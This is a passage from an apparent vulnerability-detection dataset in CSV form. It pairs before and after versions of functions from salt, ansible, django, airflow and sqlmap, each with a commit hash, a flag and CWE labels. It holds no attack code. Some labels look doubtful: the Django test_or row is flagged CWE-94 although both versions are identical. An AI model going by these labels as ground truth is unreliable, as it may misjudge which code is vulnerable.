        if exc[0] != 1062:
            raise CommandExecutionError(
                'Failed To Stop {0}: {1}'.format(name, exc[2]))

    attempts = 0
    while info(name)['Status'] in ['Running', 'Stop Pending'] \
            and attempts <= RETRY_ATTEMPTS:
        time.sleep(1)
        attempts += 1

    return not status(name)",,saltstack/salt,28ce63cdf942053e51c950b9836a080bb4fdfa11,"def stop(name):
    '''
    Stop the specified service

    Args:
        name (str): The name of the service to stop

    Returns:
        bool: True if successful, False otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.stop <service name>
    '''
    # net stop issues a stop command and waits briefly (~30s), but will give
    # up if the service takes too long to stop with a misleading
    # ""service could not be stopped"" message and RC 0.

    cmd = ['net', 'stop', '/y', name]
    res = __salt__['cmd.run'](cmd, python_shell=False)
    if 'service was stopped' in res:
        return True

    try:
        win32serviceutil.StopService(name)
    except pywintypes.error as exc:
        raise CommandExecutionError(
            'Failed To Stop {0}: {1}'.format(name, exc[2]))

    attempts = 0
    while info(name)['Status'] in ['Running', 'Stop Pending'] \
            and attempts <= RETRY_ATTEMPTS:
        time.sleep(1)
        attempts += 1

    return not status(name)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/files/file.py,1,"def main():

    module = AnsibleModule(
        argument_spec=dict(
            state=dict(choices=['file', 'directory', 'link', 'hard', 'touch', 'absent'], default=None),
            path=dict(aliases=['dest', 'name'], required=True, type='path'),
            original_basename=dict(required=False),  # Internal use only, for recursive ops
            recurse=dict(default=False, type='bool'),
            force=dict(required=False, default=False, type='bool'),
            follow=dict(required=False, default=True, type='bool'),
            diff_peek=dict(default=None),  # Internal use only, for internal checks in the action plugins
            validate=dict(required=False, default=None),  # Internal use only, for template and copy
            src=dict(required=False, default=None, type='path'),
        ),
        add_file_common_args=True,
        supports_check_mode=True
    )

    params = module.params
    state = params['state']
    recurse = params['recurse']
    force = params['force']
    diff_peek = params['diff_peek']
    src = params['src']
    b_src = to_bytes(src, errors='surrogate_or_strict')
    follow = params['follow']

    # modify source as we later reload and pass, specially relevant when used by other modules.
    path = params['path']
    b_path = to_bytes(path, errors='surrogate_or_strict')

    # short-circuit for diff_peek
    if diff_peek is not None:
        appears_binary = False
        try:
            f = open(b_path, 'rb')
            head = f.read(8192)
            f.close()
            if b(""\x00"") in head:
                appears_binary = True
        except:
            pass
        module.exit_json(path=path, changed=False, appears_binary=appears_binary)

    prev_state = get_state(b_path)

    # state should default to file, but since that creates many conflicts,
    # default to 'current' when it exists.
    if state is None:
        if prev_state != 'absent':
            state = prev_state
        elif recurse:
            state = 'directory'
        else:
            state = 'file'

    # source is both the source of a symlink or an informational passing of the src for a template module
    # or copy module, even if this module never uses it, it is needed to key off some things
    if src is None:
        if state in ('link', 'hard'):
            if follow and state == 'link':
                # use the current target of the link as the source
                src = to_native(os.path.realpath(b_path), errors='strict')
                b_src = to_bytes(os.path.realpath(b_path), errors='strict')
            else:
                module.fail_json(msg='src and dest are required for creating links')

    # original_basename is used by other modules that depend on file.
    if state not in (""link"", ""absent"") and os.path.isdir(b_path):
        basename = None
        if params['original_basename']:
            basename = params['original_basename']
        elif src is not None:
            basename = os.path.basename(src)
        if basename:
            params['path'] = path = os.path.join(path, basename)
            b_path = to_bytes(path, errors='surrogate_or_strict')
            prev_state = get_state(b_path)

    # make sure the target path is a directory when we're doing a recursive operation
    if recurse and state != 'directory':
        module.fail_json(path=path, msg=""recurse option requires state to be 'directory'"")

    file_args = module.load_file_common_arguments(params)

    changed = False
    diff = {'before': {'path': path},
            'after': {'path': path},
            }

    state_change = False
    if prev_state != state:
        diff['before']['state'] = prev_state
        diff['after']['state'] = state
        state_change = True

    if state == 'absent':
        if state_change:
            if not module.check_mode:
                if prev_state == 'directory':
                    try:
                        shutil.rmtree(b_path, ignore_errors=False)
                    except Exception as e:
                        module.fail_json(msg=""rmtree failed: %s"" % to_native(e))
                else:
                    try:
                        os.unlink(b_path)
                    except OSError as e:
                        if e.errno != errno.ENOENT:  # It may already have been removed
                            module.fail_json(path=path, msg=""unlinking failed: %s "" % to_native(e))
            module.exit_json(path=path, changed=True, diff=diff)
        else:
            module.exit_json(path=path, changed=False)

    elif state == 'file':

        if state_change:
            if follow and prev_state == 'link':
                # follow symlink and operate on original
                b_path = os.path.realpath(b_path)
                path = to_native(b_path, errors='strict')
                prev_state = get_state(b_path)
                file_args['path'] = path

        if prev_state not in ('file', 'hard'):
            # file is not absent and any other state is a conflict
            module.fail_json(path=path, msg='file (%s) is %s, cannot continue' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(path=path, changed=changed, diff=diff)

    elif state == 'directory':
        if follow and prev_state == 'link':
            b_path = os.path.realpath(b_path)
            path = to_native(b_path, errors='strict')
            prev_state = get_state(b_path)

        if prev_state == 'absent':
            if module.check_mode:
                module.exit_json(changed=True, diff=diff)
            changed = True
            curpath = ''

            try:
                # Split the path so we can apply filesystem attributes recursively
                # from the root (/) directory for absolute paths or the base path
                # of a relative path.  We can then walk the appropriate directory
                # path to apply attributes.
                for dirname in path.strip('/').split('/'):
                    curpath = '/'.join([curpath, dirname])
                    # Remove leading slash if we're creating a relative path
                    if not os.path.isabs(path):
                        curpath = curpath.lstrip('/')
                    b_curpath = to_bytes(curpath, errors='surrogate_or_strict')
                    if not os.path.exists(b_curpath):
                        try:
                            os.mkdir(b_curpath)
                        except OSError as ex:
                            # Possibly something else created the dir since the os.path.exists
                            # check above. As long as it's a dir, we don't need to error out.
                            if not (ex.errno == errno.EEXIST and os.path.isdir(b_curpath)):
                                raise
                        tmp_file_args = file_args.copy()
                        tmp_file_args['path'] = curpath
                        changed = module.set_fs_attributes_if_different(tmp_file_args, changed, diff, expand=False)
            except Exception as e:
                module.fail_json(path=path, msg='There was an issue creating %s as requested: %s' % (curpath, to_native(e)))

        # We already know prev_state is not 'absent', therefore it exists in some form.
        elif prev_state != 'directory':
            module.fail_json(path=path, msg='%s already exists as a %s' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)

        if recurse:
            changed |= recursive_set_attributes(module, to_bytes(file_args['path'], errors='surrogate_or_strict'), follow, file_args)

        module.exit_json(path=path, changed=changed, diff=diff)

    elif state in ('link', 'hard'):
        if not os.path.islink(b_path) and os.path.isdir(b_path):
            relpath = path
        else:
            b_relpath = os.path.dirname(b_path)
            relpath = to_native(b_relpath, errors='strict')

        absrc = os.path.join(relpath, src)
        b_absrc = to_bytes(absrc, errors='surrogate_or_strict')
        if not force and not os.path.exists(b_absrc):
            module.fail_json(path=path, src=src, msg='src file does not exist, use ""force=yes"" if you really want to create the link: %s' % absrc)

        if state == 'hard':
            if not os.path.isabs(b_src):
                module.fail_json(msg=""absolute paths are required"")
        elif prev_state == 'directory':
            if not force:
                module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))
            elif os.listdir(b_path):
                # refuse to replace a directory that has files in it
                module.fail_json(path=path, msg='the directory %s is not empty, refusing to convert it' % path)
        elif prev_state in ('file', 'hard') and not force:
            module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))

        if prev_state == 'absent':
            changed = True
        elif prev_state == 'link':
            b_old_src = os.readlink(b_path)
            if b_old_src != b_src:
                diff['before']['src'] = to_native(b_old_src, errors='strict')
                diff['after']['src'] = src
                changed = True
        elif prev_state == 'hard':
            if not (state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino):
                changed = True
                if not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        elif prev_state == 'file':
            changed = True
            if not force:
                module.fail_json(dest=path, src=src, msg='Cannot link, %s exists at destination' % prev_state)
        elif prev_state == 'directory':
            changed = True
            if os.path.exists(b_path):
                if state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino:
                    module.exit_json(path=path, changed=False)
                elif not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        else:
            module.fail_json(dest=path, src=src, msg='unexpected position reached')

        if changed and not module.check_mode:
            if prev_state != 'absent':
                # try to replace atomically
                b_tmppath = to_bytes(os.path.sep).join(
                    [os.path.dirname(b_path), to_bytes("".%s.%s.tmp"" % (os.getpid(), time.time()))]
                )
                try:
                    if prev_state == 'directory' and state == 'link':
                        os.rmdir(b_path)
                    elif prev_state == 'directory' and state == 'hard':
                        if os.path.exists(b_path):
                            try:
                                os.unlink(b_path)
                            except OSError as e:
                                if e.errno != errno.ENOENT:  # It may already have been removed
                                    raise
                    if state == 'hard':
                        os.link(b_src, b_tmppath)
                    else:
                        os.symlink(b_src, b_tmppath)
                    os.rename(b_tmppath, b_path)
                except OSError as e:
                    if os.path.exists(b_tmppath):
                        os.unlink(b_tmppath)
                    module.fail_json(path=path, msg='Error while replacing: %s' % to_native(e, nonstring='simplerepr'))
            else:
                try:
                    if state == 'hard':
                        os.link(b_src, b_path)
                    else:
                        os.symlink(b_src, b_path)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while linking: %s' % to_native(e, nonstring='simplerepr'))

        if module.check_mode and not os.path.exists(b_path):
            module.exit_json(dest=path, src=src, changed=changed, diff=diff)

        # Whenever we create a link to a nonexistent target we know that the nonexistent target
        # cannot have any permissions set on it.  Skip setting those and emit a warning (the user
        # can set follow=False to remove the warning)
        if (state == 'link' and params['follow'] and os.path.islink(params['path']) and
                not os.path.exists(file_args['path'])):
            module.warn('Cannot set fs attributes on a non-existent symlink target. follow should be'
                        ' set to False to avoid this.')
        else:
            changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)

        module.exit_json(dest=path, src=src, changed=changed, diff=diff)

    elif state == 'touch':
        if not module.check_mode:

            if prev_state == 'absent':
                try:
                    open(b_path, 'wb').close()
                except (OSError, IOError) as e:
                    module.fail_json(path=path, msg='Error, could not touch target: %s' % to_native(e, nonstring='simplerepr'))
            elif prev_state in ('file', 'directory', 'hard'):
                try:
                    os.utime(b_path, None)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while touching existing target: %s' % to_native(e, nonstring='simplerepr'))
            else:
                module.fail_json(msg='Cannot touch other than files, directories, and hardlinks (%s is %s)' % (path, prev_state))
            try:
                module.set_fs_attributes_if_different(file_args, True, diff, expand=False)
            except SystemExit as e:
                if e.code:
                    # We take this to mean that fail_json() was called from
                    # somewhere in basic.py
                    if prev_state == 'absent':
                        # If we just created the file we can safely remove it
                        os.remove(b_path)
                raise e

        module.exit_json(dest=path, changed=True, diff=diff)

    module.fail_json(path=path, msg='unexpected position reached')",CWE-703,ansible/ansible,4f664f8ff6b3647e681ed1f74d96eace2ee7f114,"def main():

    module = AnsibleModule(
        argument_spec=dict(
            state=dict(choices=['file', 'directory', 'link', 'hard', 'touch', 'absent'], default=None),
            path=dict(aliases=['dest', 'name'], required=True, type='path'),
            original_basename=dict(required=False),  # Internal use only, for recursive ops
            recurse=dict(default=False, type='bool'),
            force=dict(required=False, default=False, type='bool'),
            follow=dict(required=False, default=True, type='bool'),
            diff_peek=dict(default=None),  # Internal use only, for internal checks in the action plugins
            validate=dict(required=False, default=None),  # Internal use only, for template and copy
            src=dict(required=False, default=None, type='path'),
        ),
        add_file_common_args=True,
        supports_check_mode=True
    )

    params = module.params
    state = params['state']
    recurse = params['recurse']
    force = params['force']
    diff_peek = params['diff_peek']
    src = params['src']
    b_src = to_bytes(src, errors='surrogate_or_strict')
    follow = params['follow']

    # modify source as we later reload and pass, specially relevant when used by other modules.
    path = params['path']
    b_path = to_bytes(path, errors='surrogate_or_strict')

    # short-circuit for diff_peek
    if diff_peek is not None:
        appears_binary = False
        try:
            f = open(b_path, 'rb')
            head = f.read(8192)
            f.close()
            if b(""\x00"") in head:
                appears_binary = True
        except:
            pass
        module.exit_json(path=path, changed=False, appears_binary=appears_binary)

    prev_state = get_state(b_path)

    # state should default to file, but since that creates many conflicts,
    # default to 'current' when it exists.
    if state is None:
        if prev_state != 'absent':
            state = prev_state
        elif recurse:
            state = 'directory'
        else:
            state = 'file'

    # source is both the source of a symlink or an informational passing of the src for a template module
    # or copy module, even if this module never uses it, it is needed to key off some things
    if src is None:
        if state in ('link', 'hard'):
            if follow and state == 'link':
                # use the current target of the link as the source
                src = to_native(os.path.realpath(b_path), errors='strict')
                b_src = to_bytes(os.path.realpath(b_path), errors='strict')
            else:
                module.fail_json(msg='src and dest are required for creating links')

    # original_basename is used by other modules that depend on file.
    if state not in (""link"", ""absent"") and os.path.isdir(b_path):
        basename = None
        if params['original_basename']:
            basename = params['original_basename']
        elif src is not None:
            basename = os.path.basename(src)
        if basename:
            params['path'] = path = os.path.join(path, basename)
            b_path = to_bytes(path, errors='surrogate_or_strict')
            prev_state = get_state(b_path)

    # make sure the target path is a directory when we're doing a recursive operation
    if recurse and state != 'directory':
        module.fail_json(path=path, msg=""recurse option requires state to be 'directory'"")

    file_args = module.load_file_common_arguments(params)

    changed = False
    diff = {'before': {'path': path},
            'after': {'path': path},
            }

    state_change = False
    if prev_state != state:
        diff['before']['state'] = prev_state
        diff['after']['state'] = state
        state_change = True

    if state == 'absent':
        if state_change:
            if not module.check_mode:
                if prev_state == 'directory':
                    try:
                        shutil.rmtree(b_path, ignore_errors=False)
                    except Exception as e:
                        module.fail_json(msg=""rmtree failed: %s"" % to_native(e))
                else:
                    try:
                        os.unlink(b_path)
                    except OSError as e:
                        if e.errno != errno.ENOENT:  # It may already have been removed
                            module.fail_json(path=path, msg=""unlinking failed: %s "" % to_native(e))
            module.exit_json(path=path, changed=True, diff=diff)
        else:
            module.exit_json(path=path, changed=False)

    elif state == 'file':

        if state_change:
            if follow and prev_state == 'link':
                # follow symlink and operate on original
                b_path = os.path.realpath(b_path)
                path = to_native(b_path, errors='strict')
                prev_state = get_state(b_path)
                file_args['path'] = path

        if prev_state not in ('file', 'hard'):
            # file is not absent and any other state is a conflict
            module.fail_json(path=path, msg='file (%s) is %s, cannot continue' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(path=path, changed=changed, diff=diff)

    elif state == 'directory':
        if follow and prev_state == 'link':
            b_path = os.path.realpath(b_path)
            path = to_native(b_path, errors='strict')
            prev_state = get_state(b_path)

        if prev_state == 'absent':
            if module.check_mode:
                module.exit_json(changed=True, diff=diff)
            changed = True
            curpath = ''

            try:
                # Split the path so we can apply filesystem attributes recursively
                # from the root (/) directory for absolute paths or the base path
                # of a relative path.  We can then walk the appropriate directory
                # path to apply attributes.
                for dirname in path.strip('/').split('/'):
                    curpath = '/'.join([curpath, dirname])
                    # Remove leading slash if we're creating a relative path
                    if not os.path.isabs(path):
                        curpath = curpath.lstrip('/')
                    b_curpath = to_bytes(curpath, errors='surrogate_or_strict')
                    if not os.path.exists(b_curpath):
                        try:
                            os.mkdir(b_curpath)
                        except OSError as ex:
                            # Possibly something else created the dir since the os.path.exists
                            # check above. As long as it's a dir, we don't need to error out.
                            if not (ex.errno == errno.EEXIST and os.path.isdir(b_curpath)):
                                raise
                        tmp_file_args = file_args.copy()
                        tmp_file_args['path'] = curpath
                        changed = module.set_fs_attributes_if_different(tmp_file_args, changed, diff, expand=False)
            except Exception as e:
                module.fail_json(path=path, msg='There was an issue creating %s as requested: %s' % (curpath, to_native(e)))

        # We already know prev_state is not 'absent', therefore it exists in some form.
        elif prev_state != 'directory':
            module.fail_json(path=path, msg='%s already exists as a %s' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)

        if recurse:
            changed |= recursive_set_attributes(module, to_bytes(file_args['path'], errors='surrogate_or_strict'), follow, file_args)

        module.exit_json(path=path, changed=changed, diff=diff)

    elif state in ('link', 'hard'):

        if not os.path.islink(b_path) and os.path.isdir(b_path):
            relpath = path
        else:
            b_relpath = os.path.dirname(b_path)
            relpath = to_native(b_relpath, errors='strict')

        absrc = os.path.join(relpath, src)
        b_absrc = to_bytes(absrc, errors='surrogate_or_strict')
        if not force and not os.path.exists(b_absrc):
            module.fail_json(path=path, src=src, msg='src file does not exist, use ""force=yes"" if you really want to create the link: %s' % absrc)

        if state == 'hard':
            if not os.path.isabs(b_src):
                module.fail_json(msg=""absolute paths are required"")
        elif prev_state == 'directory':
            if not force:
                module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))
            elif os.listdir(b_path):
                # refuse to replace a directory that has files in it
                module.fail_json(path=path, msg='the directory %s is not empty, refusing to convert it' % path)
        elif prev_state in ('file', 'hard') and not force:
            module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))

        if prev_state == 'absent':
            changed = True
        elif prev_state == 'link':
            b_old_src = os.readlink(b_path)
            if b_old_src != b_src:
                diff['before']['src'] = to_native(b_old_src, errors='strict')
                diff['after']['src'] = src
                changed = True
        elif prev_state == 'hard':
            if not (state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino):
                changed = True
                if not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        elif prev_state == 'file':
            changed = True
            if not force:
                module.fail_json(dest=path, src=src, msg='Cannot link, %s exists at destination' % prev_state)
        elif prev_state == 'directory':
            changed = True
            if os.path.exists(b_path):
                if state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino:
                    module.exit_json(path=path, changed=False)
                elif not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        else:
            module.fail_json(dest=path, src=src, msg='unexpected position reached')

        if changed and not module.check_mode:
            if prev_state != 'absent':
                # try to replace atomically
                b_tmppath = to_bytes(os.path.sep).join(
                    [os.path.dirname(b_path), to_bytes("".%s.%s.tmp"" % (os.getpid(), time.time()))]
                )
                try:
                    if prev_state == 'directory' and state == 'link':
                        os.rmdir(b_path)
                    elif prev_state == 'directory' and state == 'hard':
                        if os.path.exists(b_path):
                            try:
                                os.unlink(b_path)
                            except OSError as e:
                                if e.errno != errno.ENOENT:  # It may already have been removed
                                    raise
                    if state == 'hard':
                        os.link(b_src, b_tmppath)
                    else:
                        os.symlink(b_src, b_tmppath)
                    os.rename(b_tmppath, b_path)
                except OSError as e:
                    if os.path.exists(b_tmppath):
                        os.unlink(b_tmppath)
                    module.fail_json(path=path, msg='Error while replacing: %s' % to_native(e, nonstring='simplerepr'))
            else:
                try:
                    if state == 'hard':
                        os.link(b_src, b_path)
                    else:
                        os.symlink(b_src, b_path)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while linking: %s' % to_native(e, nonstring='simplerepr'))

        if module.check_mode and not os.path.exists(b_path):
            module.exit_json(dest=path, src=src, changed=changed, diff=diff)

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(dest=path, src=src, changed=changed, diff=diff)

    elif state == 'touch':
        if not module.check_mode:

            if prev_state == 'absent':
                try:
                    open(b_path, 'wb').close()
                except (OSError, IOError) as e:
                    module.fail_json(path=path, msg='Error, could not touch target: %s' % to_native(e, nonstring='simplerepr'))
            elif prev_state in ('file', 'directory', 'hard'):
                try:
                    os.utime(b_path, None)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while touching existing target: %s' % to_native(e, nonstring='simplerepr'))
            else:
                module.fail_json(msg='Cannot touch other than files, directories, and hardlinks (%s is %s)' % (path, prev_state))
            try:
                module.set_fs_attributes_if_different(file_args, True, diff, expand=False)
            except SystemExit as e:
                if e.code:
                    # We take this to mean that fail_json() was called from
                    # somewhere in basic.py
                    if prev_state == 'absent':
                        # If we just created the file we can safely remove it
                        os.remove(b_path)
                raise e

        module.exit_json(dest=path, changed=True, diff=diff)

    module.fail_json(path=path, msg='unexpected position reached')"
,UNKNOWN,UNKNOWN,tests/template_tests/test_smartif.py,1,"def test_or(self):
        var = IfParser([True, ""or"", False]).parse()
        self.assertEqual(""(or (literal True) (literal False))"", repr(var))
        self.assertTrue(var.eval({}))",CWE-94,django/django,9d740eb8b15de31f1c5520659df683d90342bb44,"def test_or(self):
        var = IfParser([True, ""or"", False]).parse()
        self.assertEqual(""(or (literal True) (literal False))"", repr(var))
        self.assertTrue(var.eval({}))"
,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/context.py,1,"def _get_connection(conn_id: str) -> Connection:
    from airflow.sdk.execution_time.supervisor import ensure_secrets_backend_loaded

    # TODO: check cache first
    # enabled only if SecretCache.init() has been called first

    # iterate over configured backends if not in cache (or expired)
    for secrets_backend in ensure_secrets_backend_loaded():
        try:
            conn = secrets_backend.get_connection(conn_id=conn_id)
            if conn:
                return conn
        except Exception:
            log.exception(
                ""Unable to retrieve connection from secrets backend (%s). ""
                ""Checking subsequent secrets backend."",
                type(secrets_backend).__name__,
            )

    log.debug(
        ""Connection not found in any of the configured Secrets Backends. Trying to retrieve from API server"",
        conn_id=conn_id,
    )

    # TODO: This should probably be moved to a separate module like `airflow.sdk.execution_time.comms`
    #   or `airflow.sdk.execution_time.connection`
    #   A reason to not move it to `airflow.sdk.execution_time.comms` is that it
    #   will make that module depend on Task SDK, which is not ideal because we intend to
    #   keep Task SDK as a separate package than execution time mods.
    from airflow.sdk.execution_time.comms import ErrorResponse, GetConnection
    from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

    msg = SUPERVISOR_COMMS.send(GetConnection(conn_id=conn_id))

    if isinstance(msg, ErrorResponse):
        raise AirflowRuntimeError(msg)

    if TYPE_CHECKING:
        assert isinstance(msg, ConnectionResult)
    return _convert_connection_result_conn(msg)",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def _get_connection(conn_id: str) -> Connection:
    from airflow.sdk.execution_time.supervisor import ensure_secrets_backend_loaded

    # TODO: check cache first
    # enabled only if SecretCache.init() has been called first

    # iterate over configured backends if not in cache (or expired)
    for secrets_backend in ensure_secrets_backend_loaded():
        try:
            conn = secrets_backend.get_connection(conn_id=conn_id)
            if conn:
                return conn
        except Exception:
            log.exception(
                ""Unable to retrieve connection from secrets backend (%s). ""
                ""Checking subsequent secrets backend."",
                type(secrets_backend).__name__,
            )

    log.debug(
        ""Connection not found in any of the configured Secrets Backends. Trying to retrieve from API server"",
        conn_id=conn_id,
    )

    # TODO: This should probably be moved to a separate module like `airflow.sdk.execution_time.comms`
    #   or `airflow.sdk.execution_time.connection`
    #   A reason to not move it to `airflow.sdk.execution_time.comms` is that it
    #   will make that module depend on Task SDK, which is not ideal because we intend to
    #   keep Task SDK as a separate package than execution time mods.
    from airflow.sdk.execution_time.comms import ErrorResponse, GetConnection
    from airflow.sdk.execution_time.task_runner import SUPERVISOR_COMMS

    # Since Triggers can hit this code path via `sync_to_async` (which uses threads internally)
    # we need to make sure that we ""atomically"" send a request and get the response to that
    # back so that two triggers don't end up interleaving requests and create a possible
    # race condition where the wrong trigger reads the response.
    with SUPERVISOR_COMMS.lock:
        SUPERVISOR_COMMS.send_request(log=log, msg=GetConnection(conn_id=conn_id))
        msg = SUPERVISOR_COMMS.get_message()

    if isinstance(msg, ErrorResponse):
        raise AirflowRuntimeError(msg)

    if TYPE_CHECKING:
        assert isinstance(msg, ConnectionResult)
    return _convert_connection_result_conn(msg)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/keystone.py,0,"def user_present(name,
                 password,
                 email,
                 tenant=None,
                 enabled=True,
                 roles=None):
    '''
    Ensure that the keystone user is present with the specified properties.

    name
        The name of the user to manage

    password
        The password to use for this user

    email
        The email address for this user

    tenant
        The tenant for this user

    enabled
        Availability state for this user

    roles
        The roles the user should have under tenants
    '''
    ret = {'name': name,
           'changes': {},
           'result': True,
           'comment': 'User ""{0}"" is already present'.format(name)}

    # Validate tenant if set
    if tenant is not None:
        tenantdata = __salt__['keystone.tenant_get'](name=tenant)
        if 'Error' in tenantdata:
            ret['result'] = False
            ret['comment'] = 'Tenant ""{0}"" does not exist'.format(tenant)
            return ret
        tenant_id = tenantdata[tenant]['id']
    else:
        tenant_id = None

    # Check if user is already present
    user = __salt__['keystone.user_get'](name=name)
    if 'Error' not in user:
        if user[name]['email'] != email:
            __salt__['keystone.user_update'](name=name, email=email)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Email'] = 'Updated'
        if user[name]['enabled'] != enabled:
            __salt__['keystone.user_update'](name=name, enabled=enabled)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Enabled'] = 'Now {0}'.format(enabled)
        if tenant and user[name]['tenant_id'] != tenant_id:
            __salt__['keystone.user_update'](name=name, tenant=tenant)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Tenant'] = 'Added to ""{0}"" tenant'.format(tenant)
        if not __salt__['keystone.user_verify_password'](name=name,
                                                         password=password):
            __salt__['keystone.user_password_update'](name=name,
                                                      password=password)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Password'] = 'Updated'
        if roles:
            for tenant_role in roles[0].keys():
                args = {'user_name': name, 'tenant_name': tenant_role}
                tenant_roles = __salt__['keystone.user_role_list'](**args)
                for role in roles[0][tenant_role]:
                    if role not in tenant_roles:
                        addargs = {'user': name,
                                   'role': role,
                                   'tenant': tenant_role}
                        newrole = __salt__['keystone.user_role_add'](**addargs)
                        if 'roles' in ret['changes']:
                            ret['changes']['roles'].append(newrole)
                        else:
                            ret['changes']['roles'] = [newrole]
    else:
        # Create that user!
        __salt__['keystone.user_create'](name=name,
                                         password=password,
                                         email=email,
                                         tenant_id=tenant_id,
                                         enabled=enabled)
        if roles:
            for tenant_role in roles[0].keys():
                for role in roles[0][tenant_role]:
                    args = {'user': name,
                            'role': role,
                            'tenant': tenant_role}
                    __salt__['keystone.user_role_add'](**args)
        ret['comment'] = 'Keystone user {0} has been added'.format(name)
        ret['changes']['User'] = 'Created'

    return ret",,saltstack/salt,65471ebfb76a8cea5eb6c220c0bbeceb689c553e,"def user_present(name,
                 password,
                 email,
                 tenant=None,
                 enabled=True,
                 roles=None):
    '''
    Ensure that the keystone user is present with the specified properties.

    name
        The name of the user to manage

    password
        The password to use for this user

    email
        The email address for this user

    tenant
        The tenant for this user

    enabled
        Availability state for this user

    roles
        The roles the user should have under tenants
    '''
    ret = {'name': name,
           'changes': {},
           'result': True,
           'comment': 'User ""{0}"" is already present'.format(name)}

    # Validate tenant if set
    if tenant is not None:
        tenantdata = __salt__['keystone.tenant_get'](name=tenant)
        if 'Error' in tenantdata:
            ret['result'] = False
            ret['comment'] = 'Tenant ""{0}"" does not exist'.format(tenant)
            return ret
        tenant_id = tenantdata[tenant]['id']
    else:
        tenant_id = None

    # Check if user is already present
    user = __salt__['keystone.user_get'](name=name)
    if 'Error' not in user:
        if user[name]['email'] != email:
            __salt__['keystone.user_update'](name=name, email=email)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Email'] = 'Updated'
        if user[name]['enabled'] != enabled:
            __salt__['keystone.user_update'](name=name, enabled=enabled)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Enabled'] = 'Now {0}'.format(enabled)
        if tenant and user[name]['tenant_id'] != tenant_id:
            __salt__['keystone.user_update'](name=name, tenant=tenant)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Tenant'] = 'Added to ""{0}"" tenant'.format(tenant)
        if not __salt__['keystone.user_verify_password'](name=name,
                                                         password=password):
            __salt__['keystone.user_password_update'](name=name,
                                                      password=password)
            ret['comment'] = 'User ""{0}"" has been updated'.format(name)
            ret['changes']['Password'] = 'Updated'
        if roles:
            for tenant_role in roles[0].keys():
                args = {'user_name': name, 'tenant_name': tenant_role}
                tenant_roles = __salt__['keystone.user_role_list'](**args)
                for role in roles[0][tenant_role]:
                    if role not in tenant_roles:
                        addargs = {'user': name,
                                   'role': role,
                                   'tenant': tenant_role}
                        newrole = __salt__['keystone.user_role_add'](**addargs)
                        if 'roles' in ret['changes']:
                            ret['changes']['roles'].append(newrole)
                        else:
                            ret['changes']['roles'] = [newrole]
    else:
    # Create that user!
        __salt__['keystone.user_create'](name=name,
                                         password=password,
                                         email=email,
                                         tenant_id=tenant_id,
                                         enabled=enabled)
        if roles:
            for tenant_role in roles[0].keys():
                for role in roles[0][tenant_role]:
                    args = {'user': name,
                            'role': role,
                            'tenant': tenant_role}
                    __salt__['keystone.user_role_add'](**args)
        ret['comment'] = 'Keystone user {0} has been added'.format(name)
        ret['changes']['User'] = 'Created'

    return ret"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def _randomizeParameter(paramString, randomParameter):
                retVal = paramString
                match = re.search(r""(\A|\b)%s=(?P<value>[^&;]*)"" % re.escape(randomParameter), paramString)
                if match:
                    origValue = match.group(""value"")
                    newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
                    retVal = re.sub(r""(\A|\b)%s=[^&;]*"" % re.escape(randomParameter), ""%s=%s"" % (randomParameter, newValue), paramString)
                else:
                    match = re.search(r""(\A|\b)(%s\b[^\w]+)(?P<value>\w+)"" % re.escape(randomParameter), paramString)
                    if match:
                        origValue = match.group(""value"")
                        newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
                        retVal = paramString.replace(match.group(0), ""%s%s"" % (match.group(2), newValue))
                return retVal",CWE-330,sqlmapproject/sqlmap,74ecc72588a46feeddbffbbc1c842f7a64835ca4,"def _randomizeParameter(paramString, randomParameter):
                retVal = paramString
                match = re.search(r""(\A|\b)%s=(?P<value>[^&;]*)"" % re.escape(randomParameter), paramString)
                if match:
                    origValue = match.group(""value"")
                    newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
